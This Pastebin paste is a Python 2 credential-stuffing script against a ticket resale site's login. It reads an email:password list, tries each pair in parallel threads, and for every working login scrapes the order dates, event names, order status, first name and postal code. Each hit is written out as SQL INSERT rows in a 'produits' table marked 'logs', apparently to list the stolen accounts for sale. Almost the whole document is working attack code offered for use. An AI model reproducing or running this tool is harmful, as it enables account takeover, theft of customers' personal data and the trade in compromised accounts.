Advertisement
Guest User

Untitled

a guest
Feb 19th, 2018
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.16 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. import requests, sys, string, time, re, threading, os, BeautifulSoup
  4.  
  5. global aFileSuccess
  6. global aData
  7. global threadc
  8. global state
  9. global i
  10. global ccup
  11. global csuccess
  12. threadc = 0
  13. state = 0
  14. i = 0
  15. ccup = 0
  16. csuccess = 0
  17.  
  18. def CDISCOUNTCUPChecker(sUserMail,sUserPass):
  19. global threadc
  20. global ccup
  21. global csuccess
  22.  
  23. threadc += 1
  24. sUserPass = sUserPass.replace('\n','').replace('\r','')
  25. print " [?] Checking %s (pass=%s) " % (sUserMail,sUserPass)
  26. oFileObj = open("state.txt",'w')
  27. oFileObj.write("Total checked : %s\nTotal success : %s\nTotal CUP : %s" % (state,csuccess,ccup))
  28. oFileObj.close()
  29.  
  30. oRequest = requests.session()
  31. headers = {'Host':'secure.ticketbisfr.com','User-Agent': 'Opera/9.80 (Windows NT 6.0; U; en) Presto/2.2.0 Version/10.00','Connection':'keep-alive','Pragma':'no-cache'}
  32. oData = oRequest.post("https://secure.ticketbisfr.com/login/login",{"login":sUserMail,"password":sUserPass},headers=headers)
  33.  
  34. if oData.text.encode("utf8").find('alert alert-error') == -1:
  35. if oData.text.encode("utf8").find("captcha") == -1:
  36. s = oData.text.encode("utf8")
  37. # Commande
  38. start = '<td data-label="Date">'
  39. end = '<'
  40. try:
  41. commande = re.findall(re.escape(start)+"(.*)"+re.escape(end),s)[0]
  42. except:
  43. commande = "-"
  44. # Fin Commande
  45. # Event
  46. start = '<span class="nombre-evento">'
  47. end = '<'
  48. try:
  49. event = re.findall(re.escape(start)+"(.*)"+re.escape(end),s)[0]
  50. except:
  51. event = "-"
  52. # Fin Event
  53. # Etat
  54. start = 'a="block">\n '
  55. end = '\n'
  56. try:
  57. etat = re.findall(re.escape(start)+"(.*)"+re.escape(end),s)[0]
  58. except:
  59. etat = "-"
  60. # Fin Etat
  61. oData = oRequest.get("https://secure.ticketbisfr.com/miCuenta/infocuenta")
  62. s = oData.text.encode("utf8")
  63. #prenom
  64. start = ' <span>'
  65. end = '<'
  66. try:
  67. prenom = re.findall(re.escape(start)+"(.*)"+re.escape(end),s)[0]
  68. except:
  69. prenom = "-"
  70. #prenom
  71. oData = oRequest.get("https://secure.ticketbisfr.com/miCuenta/direcciones")
  72. s = oData.text.encode("utf8")
  73. #CP
  74. start = 'l</label>\n <div class="controls">\n <span>\n '
  75. end = '\n'
  76. try:
  77. cp = re.findall(re.escape(start)+"(.*)"+re.escape(end),s)[0]
  78. except:
  79. cp = "-"
  80. #CP
  81. csuccess += 1
  82. aFileSuccess.write("INSERT INTO produits values('0','logs','TICKETBIS','"+sUserMail+":"+sUserPass+"','','"+cp+"','"+commande+"/"+event+"/"+etat+"','','1','4','WolfAdmin','','0','1','2017-12-22 15:20:04','2017-12-22 15:20:04','2017-12-22 15:20:04','','','','','','','');\n")
  83. print " [%s:%s] OK !!\n" % (sUserMail,sUserPass)
  84. else:
  85. print " [%s:%s] CAPTCHA !!\n" % (sUserMail,sUserPass)
  86. else:
  87. print " [%s:%s] NOT OK !!\n" % (sUserMail,sUserPass)
  88. threadc -= 1
  89.  
  90.  
  91. def parseList(sFileList):
  92. aList = []
  93. try:
  94. with open(sFileList) as oFileList:
  95. aElement = oFileList.readlines()
  96. for sElement in aElement:
  97. if sElement.find(":") != -1:
  98. aList.append(sElement.replace("\n","").replace('\r', '').split(":"))
  99. except:
  100. return False
  101. return aList
  102.  
  103. if len(sys.argv) == 1:
  104. print "Envoyer un fichier !!! "
  105. exit(0)
  106. iq = 0
  107. sList = sys.argv[1]
  108. aList = parseList(sList)
  109. bit = int(sys.argv[2])
  110. sFileSuccess = str(sList)+".success"
  111. aFileSuccess = open(sFileSuccess,"w")
  112. while i < len(aList):
  113. if threadc < bit :
  114. aData = aList[i]
  115. i += 1
  116. state += 1
  117. threading.Thread(target=CDISCOUNTCUPChecker, args=(aData[0],aData[1])).start()
  118. aFileSuccess.close()
  119. print "Finish"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement